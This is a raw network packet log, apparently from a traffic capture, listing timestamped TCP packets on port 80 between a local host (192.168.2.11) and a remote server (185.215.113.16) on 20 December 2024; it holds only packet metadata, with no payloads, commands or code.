Dec 20, 2024 16:20:32.117476940 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.117554903 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.118177891 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.118396044 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.118474960 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.119285107 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.119450092 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.119491100 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.120433092 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.120594978 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.120639086 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.121521950 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.121732950 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.121789932 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.122642040 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.122898102 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.123048067 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.123743057 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.124067068 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.124121904 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.124810934 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.125066996 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.125113010 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.125914097 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.126205921 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.126245975 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.127063990 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.127132893 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.127254963 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.128376007 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.128434896 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.128485918 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.129432917 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.129645109 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.129710913 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.130402088 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.130597115 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.130636930 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.131438971 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.131834030 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.131891012 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.132616997 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.132637024 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.132699013 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.133708000 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.133946896 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.134078979 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.134772062 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.135037899 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.135098934 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.136034966 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.136238098 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.136291981 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.137106895 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.137120008 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.137196064 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.138034105 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.138231039 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.138297081 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.139241934 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.139369965 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.139445066 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.140268087 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.140507936 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.140573025 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.141407013 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.141643047 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.141730070 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.142543077 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.142693996 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.142751932 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.143333912 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.143529892 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.143815041 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.143887043 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.144817114 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.145239115 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.145289898 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.145932913 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.146084070 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.146171093 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.147006989 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.147547960 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.147778988 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.147986889 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.148293972 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.148345947 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.149168968 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.149861097 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.149912119 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.150119066 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.150847912 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.150897026 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.151329994 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.152143955 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.152194977 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.152348042 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.152523994 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.152596951 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.153640985 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.153913975 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.153970003 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.154758930 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.154989004 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.155040026 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.155828953 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.155998945 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.156075001 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.156271935 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.156860113 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.156872988 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.156920910 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.157948017 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.158015966 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.158061981 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.159363985 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.159384966 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.159437895 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.160197020 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.160476923 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.160521030 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.161231995 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.161361933 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.161500931 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.162592888 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.163100958 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.163172960 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.163397074 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.163409948 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.163455009 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.164541960 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.182420015 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.195518970 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.301763058 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.301784992 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.301836967 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.302086115 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.302275896 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.302376032 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.303385973 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.303400040 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.303487062 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.304291010 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.304416895 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.304460049 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.305602074 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.306006908 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.306054115 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.306603909 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.306617022 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.306677103 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.307663918 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.307998896 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.308038950 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.308737040 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.309140921 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.309207916 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.309941053 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.310337067 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.310416937 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.310976982 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.311237097 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.311283112 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.312033892 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.312325954 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.312401056 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.313117027 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.313241005 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.313313961 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.314558983 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.314678907 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.314739943 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.315373898 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.315388918 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.315445900 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.316488028 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.316817045 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.316865921 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.317775011 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.317873955 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.317924976 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.318844080 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.319273949 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.319330931 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.319792986 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.319907904 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.319952011 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.320945024 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.320971012 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.321058989 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.321120977 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.322124958 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.322225094 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.322267056 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.323118925 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.323440075 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.323513985 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.324167013 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.324736118 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.324832916 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.325407028 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.325421095 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.325467110 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.326442003 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.326679945 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.326730013 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.327560902 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.328047991 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.328094006 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.328572035 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.329499960 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.329582930 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.330104113 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.330352068 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.330431938 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.331644058 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.331851006 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.331938982 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.332701921 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.332817078 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.332941055 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.333772898 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.333982944 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.334052086 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.334707022 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.334881067 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.334954023 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.335931063 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.336350918 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.336427927 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.336513996 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.337065935 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.337621927 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.337805033 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.338076115 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.338090897 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.338144064 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.339128971 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.339293957 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.339344025 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.340151072 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.340420961 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.340502024 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.341262102 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.341391087 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.341428041 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.342250109 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.343108892 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.343333006 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.343358994 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.343373060 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.343456030 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.344264030 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.344269991 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.344703913 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.345140934 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.345526934 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.345571041 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.346601009 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.346613884 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.346733093 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.347373009 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.347568989 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.347620964 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.348705053 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.349005938 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.349111080 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.349718094 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.350169897 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.350209951 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.351011038 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.351397991 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.351444960 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.352024078 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.352341890 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.352380991 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.352916002 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.352929115 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.353013992 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.354264021 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.354284048 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.354346037 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.355051994 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.355292082 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.355338097 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.356374979 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.356395960 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.356472969 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.357454062 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.357474089 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.357511997 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.358499050 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.358668089 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.358716011 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.359514952 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.385580063 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.491090059 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.491238117 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.491331100 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.491559029 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.491573095 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.491663933 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.492819071 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.493021011 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.493128061 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.493875980 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.494136095 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.494419098 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.494441032 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.495309114 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.495337009 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.495635986 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.495655060 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.496308088 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.496443033 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.497615099 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.497627974 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.497642040 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.497678995 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.498713970 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.498784065 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.498810053 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.499618053 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.499675035 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.499768019 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.500817060 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.500881910 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.501351118 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.502012968 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.502082109 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.502168894 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.503177881 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.503333092 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.503551006 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.504235029 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.504281998 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.504281998 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.505291939 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:32.505419970 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:32.506023884 CET	80	49717	185.215.113.16	192.168.2.11
